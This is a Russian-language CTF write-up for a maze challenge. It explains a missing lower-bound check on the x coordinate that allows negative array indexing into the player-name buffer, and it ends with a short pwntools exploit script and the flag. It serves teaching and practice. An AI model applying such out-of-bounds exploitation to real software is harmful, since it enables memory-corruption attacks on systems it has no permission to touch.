Очередной лабиринт. Чтобы получить флаг надо выиграть и собрать 10 сокровищ.

nc 109.233.56.90 11574

Solution

Попробую запустить бинарь:

Welcome to maze!
What is your name? (for scoreboard)
kir
Usage: W
      ASD

================================================
=          kir | score  0 / 10                 =
================================================

################################################################
#                                    #            #            #
#             ###################    #  X  #####  #   ####     #
#            #                       #######      # X #  #     #
...
## @
################################################################
>

Проходить лабиринт руками не буду.

Статический анализ

main

int32_t main()
{
    puts("Welcome to maze!");
    puts("What is your name? (for scoreboard)");
    fgets(" ", 8, stdin);

    if (*(uint8_t*)(strlen(" ") + 0x40409f) == 10)
        *(uint8_t*)(strlen(" ") + 0x40409f) = 0;

    print_usage();
    pos_x = 2;
    pos_y = 24;

    while (true)
    {
        print_maze();
        printf("> ");
        char buf[0x20];
        memset(&buf, 0, 0x20);
        fgets(&buf, 0x20, stdin);

        for (int i = 0; i <= 31; i += 1)
        {
            if (buf[(int64_t)i] == 'w' || buf[(int64_t)i] == 'W')
                try_move(0, -1);
            if (buf[(int64_t)i] == 'S' || buf[(int64_t)i] == 's')
                try_move(0, 1);
            if (buf[(int64_t)i] == 'A' || buf[(int64_t)i] == 'a')
                try_move(-1, 0);
            if (buf[(int64_t)i] == 'D' || buf[(int64_t)i] == 'd')
                try_move(1, 0);

            if (maze[(int64_t)pos_y * 62 + (int64_t)pos_x] == 'X')
            {
                maze[(int64_t)pos_y * 62 + (int64_t)pos_x] = ' ';
                score += 1;

                if (score == 10)
                {
                    puts("Congratulations!");
                    system("cat /flag");
                    exit(0);
                }
            }
        }
    }
}

Нужно набрать 10 очков. score — глобальная переменная, просто так её не перетереть.

try_move

uint32_t try_move(int dx, int dy) {
    int32_t new_x = dx + pos_x;
    uint32_t new_y = dy + pos_y;
    uint32_t result = (uint32_t)maze[(int64_t)new_y * 62 + (int64_t)new_x];

    if ((uint8_t)result != '#' && new_y >= 0 && new_y >= 0 && new_y <= 24 && new_x <= 61)
    {
        pos_x = new_x;
        result = new_y;
        pos_y = result;
    }

    return result;
}

Обратим внимание на условие:

if ((uint8_t)result != '#' && new_y >= 0 && new_y >= 0 && new_y <= 24 && new_x <= 61)

new_y проверяется на положительность дважды. new_x не проверяется вовсе. Значит мы можем уходить влево за границу карты.

Отрицательные индексы

На поле всего 4 символа X, а нужно 10. Где взять ещё 6?

Конструкцию arr[i] можно привести к *(&arr + i * sizeof(arr[0])). Т.е. значение в скобках — это смещение относительно адреса arr. Никто не говорил, что X должны быть на карте.

Программа спрашивает наше имя — оно хранится по адресу 0x4040a0. Карта лабиринта лежит по 0x4040c0. Они находятся рядом.

При pos_y = 0 индекс упрощается:

maze[pos_y * 62 + pos_x] = maze[pos_x]

Нам нужно, чтобы &maze[pos_x] == &name[0]:

0x4040c0 + pos_x = 0x4040a0
pos_x = 0x4040a0 - 0x4040c0 = -0x20 = -32

Нужно уйти на 32 шага влево от начальной позиции. Тогда maze[-32] будет указывать прямо на первый байт имени, и если там стоит X — засчитывается очко.

В fgets для имени отводится 8 байт, значит можно передать 7 символов X:

fgets(" ", 8, stdin);

Итого 7 из имени + 3 с карты = 10. Проверю:

> Congratulations!
spbctf{wow_arrays_with_negative_indexes}

Автоматизация

pwn template task --host 109.233.56.90 --port 11574 > exploit.py
def move(c, count):
    for _ in range(count):
        io.sendline(c)

io = start()

io.sendline(b'XXXXXXX')

move(b'd', 14)
move(b'w', 9)
move(b'a', 13)
move(b'w', 2)
move(b'd', 21)
move(b's', 1)
move(b'd', 1)
move(b's', 1)
move(b'd', 1)
move(b's', 1)
move(b'd', 1)
move(b's', 1)
move(b'd', 1)

io.interactive()
spbctf{wow_arrays_with_negative_indexes}